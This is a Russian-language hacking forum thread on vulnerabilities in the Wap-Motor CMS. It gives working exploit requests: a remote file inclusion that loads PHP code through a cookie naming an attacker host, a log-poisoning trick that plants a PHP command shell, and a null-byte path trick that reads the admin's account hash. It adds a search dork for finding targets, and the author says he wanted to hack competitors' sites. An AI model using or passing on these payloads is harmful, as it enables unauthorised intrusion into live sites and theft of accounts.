Wap-Motor 17.5 LFI/RFI Vulnerability Сайт разработчика: http://visavi.net/ Уязвимые версии: Wap-Motor 17.5, возможно более ранние версии Описание: сценарий index.php подключает необходимые скрипты, первый из которых (template/start.php) извлекает данные в текущую символьную таблицу, допуская перезапись переменных: PHP: <?php extract($HTTP_GET_VARS); extract($HTTP_POST_VARS); extract($HTTP_COOKIE_VARS); extract($HTTP_SERVER_VARS); extract($HTTP_SESSION_VARS); ?> На основе переменных $p и $f составляется строка, которая впоследствии передается в функцию include (index.php@48-56): PHP: <?php if(empty($f)){$f='index';} echo $p.'/'.$f.'.'.$config_ras; $sfx = file($p.'/'.$f.'.'.$config_ras); if (!$sfx){ echo 'Файл с данными параметрами не найден!'; }else{ include_once $p.'/'.$f.'.'.$config_ras; } ?> Система предполагает получение переменных $p и $f со стороны пользователя, однако проверка данных проводится только в массиве $_GET (index.php@23): PHP: <?php if(eregi("[^a-z0-9_-]",$_GET['f']) || eregi("[^a-z0-9_-]",$_GET['p'])){header ("Location: index.php?error&".SID); exit;} ?> При передаче параметров p и f в cookie или в POST-запросе существует возможность обхода фильтрации и внедрения произвольных данных в функцию include. RFI-эксплоит (для удачной эксплуатации на удаленном сервере необходимо создать файл s.mot с php-кодом, а также необходим allow_url_include=on): GET /index.php HTTP/1.0 Host: localhost Cookie: p=http://eViLhOsT; f=s; Connection: close LFI-эксплоит (нужна сессия пользователя, а также необходим magic_quotes_gpc=off): GET /index.php/%3C%3Fphp+echo+%60%7B$_COOKIE%5B'c'%5D%7D%60%3B+%3F%3E HTTP/1.0 Host: localhost Cookie: p=local/who.dat%00; c=id; SID=qsm8nce7777k4tvkt0vfbiem41; Connection: close Несмотря на путь, будет запрошен скрипт index.php, и в файл local/who.dat, логирующий активность недавних пользователей, будет записан следующий код: user|/index.php/<?php echo `{$_COOKIE['c']}`; ?>|11|1218131297| При этом произойдет обращение к local/who.dat с параметром c, который содержит команду для выполнения.
уязвимость присутствовала на сайте вот этих горе-хакеров: http://www.xak.net.ua/ но на данный момент этого сайта уже не существует, кроме того автор опубликовал версию 18.0, поэтому примеры ищите сами
Уязвимости Wap-motor v. 18.0 и ранних Взлом учетных записей CMS Wap-motor v. 18.0 Уязвимый продукт: Wap-motor Версия: <= 18.0 Дорк: "Powered by Wap-motor" ОФФ-сайт: http://visavi.net Линк на скачивание: http://visavi.net/download/down.php?action=ob&did=wap-motor16&fid=MOTOR18.zip& Взлом учетных записей CMS Wap-motor v. 18.0 Вступление #1. (Начну издалека…) Еще примерно с 2006 г, когда я пребывал на одном форуме (wapteam, кто занимался вапом, должен помнить), у меня было острое желание сломать цмс конкурентов, а именно visavi.net (ныне офф.сайт данной CMS), т.к. между нашими тимами были постоянные раздоры. Однако хотя тогда Wap-motor и был ужасно дырявым, я не смог найти в нем уязвимости из-за отсутствия знаний! =( Но, сейчас, когда уже движок обновился более чем на 10 версий, моя мечта сбылась! =) Вступление #2. (History…) На данный момент Wap-motor самая популярная CMS в рувапе! К примеру по запросу Powered by Wap-motor гугл выдает 12,100 результатов. Данная CMS может быть установлена по умолчанию на http://h2m.ru (т.е. предустановленным скриптом) Вступление #3. (MOTOR17.4…) (БАЯН! Не заметил тему [Raz0r] https://forum.antichat.ru/thread80077.html) Итак, у меня была на харде данная CMS с версией MOTOR17.4. Я решил в ней покопаться, и после недолгих манипуляций получил просмотр локальных файлов! Пример #1: Например при таком урл Передать куки подобного содержания: Где Twost – это ник админа. Пример #2: Аналогично. Эти две уязвимости были возможны из-за наивности кодеров! Уязвимый код: Файл ./template/regglobals.php PHP: ... while(list($key,$value)=each($_FILES)) $GLOBALS[$key]=$value; while(list($key,$value)=each($_ENV)) $GLOBALS[$key]=$value; while(list($key,$value)=each($_GET)) $GLOBALS[$key]=$value; while(list($key,$value)=each($_POST)) $GLOBALS[$key]=$value; while(list($key,$value)=each($_COOKIE)) $GLOBALS[$key]=$value; while(list($key,$value)=each($_SERVER)) $GLOBALS[$key]=$value; … Файл ./index.php PHP: ... if(eregi("[^a-z0-9_-]",$_GET['f']) || eregi("[^a-z0-9_-]",$_GET['p'])){header ("Location: index.php?error&".SID); exit;} ... $sfx = file($p.'/'.$f.'.'.$config_ras); ... Т.е проверялась переменная из массива $_GET, а уже в file() передавалась просто глобальная переменная. (прямо задание из РОА =)) Естественно т.к. версия была старой то скачав последнюю версию 18.0 я убедился что дыры пропатчены. Однако есть еще! =). Уязвимость Wap-motor v. 18.0 В данной версии уязвима фото-галерея скрипта. А именно файл http://[PATH]/gallery/gallery.php Рассмотрим код! PHP: <?php require_once"../template/start.php"; require_once"../template/regglobals.php"; require_once"../template/config.php"; require_once"../template/functions.php"; $image=check($image); $ext = strtolower(substr($image, strrpos($image, '.') + 1)); if($ext=="jpg" || $ext=="gif" || $ext=="png"){ if($ext=="jpg"){$ext="jpeg";} $filename = BASEDIR."local/datagallery/$image"; $filename = file_get_contents($filename); header('Content-Disposition: inline; filename="'.$image.'"'); header("Content-type: image/$ext"); header("Content-Length: ".strlen($filename)); echo $filename; } ?> PHP: ... if (!ini_get('register_globals')) { while(list($key,$value)=each($_GET)) $GLOBALS[$key]=$value; while(list($key,$value)=each($_POST)) $GLOBALS[$key]=$value; while(list($key,$value)=each($_SESSION)) $GLOBALS[$key]=$value; } ... foreach ($_GET as $check_url) { if ((eregi("<[^>]*script*\"?[^>]*>", $check_url)) || (eregi("<[^>]*object*\"?[^>]*>", $check_url)) || (eregi("<[^>]*iframe*\"?[^>]*>", $check_url)) || (eregi("<[^>]*applet*\"?[^>]*>", $check_url)) || (eregi("<[^>]*meta*\"?[^>]*>", $check_url)) || (eregi("<[^>]*style*\"?[^>]*>", $check_url)) || (eregi("<[^>]*form*\"?[^>]*>", $check_url)) || (eregi("\([^>]*\"?[^)]*\)", $check_url)) || (eregi("\"", $check_url)) || (eregi("\'", $check_url)) || (eregi("\./", $check_url)) || (eregi("//", $check_url)) || (eregi("<", $check_url)) || (eregi(">", $check_url))) { header ("Location: ".BASEDIR."index.php?isset=403&".SID); exit; } ... Вот, уже картина становится яснее, виден алгоритм! Алгоритм действий скрипта при обработке $_GET[‘image’] : 1. while(list($key,$value)=each($_GET)) $GLOBALS[$key]=$value; 2. foreach ($_GET as $check_url) ... 3. $ext = strtolower(substr($image, strrpos($image, '.') + 1)); 4. header('Content-Disposition: inline; filename="'.$image.'"'); header("Content-type: image/$ext"); header("Content-Length: ".strlen($filename)); echo $filename; Вот что у нас получилось: Рассмотрим, image=%00 – это мы нулл-байтом прекращаем обработку eregi(). (Спасибо Elekt’у за статью Роковые ошибки Php. Часть вторая.) ../profil/Twost.prof %00– инклудим файл профиля (не забудьте изменить Twost на ник админа) и обрезаем все тем же нулл-байтом расширение .gif – а вот это подставляем для того, чтобы сюда пошло верное значение header("Content-type: image/$ext"); Картинка у нас естественно не отобразилась, однако она не пуста! Откройте её текстовым редактором и увидите базу учетной записи админа, осталось только расшифровать хеш! Вот и все! Небольшой список уязвимых сайтов: (зрите вглубь картинки) P.S. Прошу меня простить, что расписал банальную ошибку кодеров на столько абзацев, просто для меня это не просто очередная уязвимость, а цель которую, которую я выполнил! =) P.P.S. Я думаю, что это не единственная дыра данного двига, поэтому буду пытаться искать далее. P.P.P.S. Добавлено после теста в инете: Как оказалось, данная уязвимость присутствует, однако проинклудить файл профиля у меня не удалось нигде… Возможно кривые руки, возможно правильные ЧМОД на файлы… (я тестил в Винде, Линь пока не работоспособна) В общем я еще буду разбираться и если что обнаружу, дополню!
Подправил пост, дико извиняюсь, не заметил темы [Raz0r]'a https://forum.antichat.ru/thread80077.html Пункт про версию 17.4 считать не действительным! =)